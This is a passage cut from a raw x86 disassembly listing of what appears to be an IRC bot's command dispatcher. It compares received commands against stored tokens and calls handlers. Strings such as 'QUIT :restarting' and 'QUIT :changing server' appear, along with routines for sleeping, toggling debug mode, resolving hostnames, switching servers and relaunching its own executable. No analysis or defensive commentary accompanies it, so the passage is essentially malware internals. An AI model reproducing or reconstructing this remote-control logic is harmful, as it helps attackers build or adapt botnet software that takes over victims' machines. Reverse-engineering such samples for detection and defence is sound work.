dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF48 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41EC40 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EB2C push offset dword_41EC40 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, dword_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF48 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EB2C push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DAB4 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE30 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 push offset dword_41DAB4 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE30 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, dword_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE38, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE38, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE38, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE8C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov 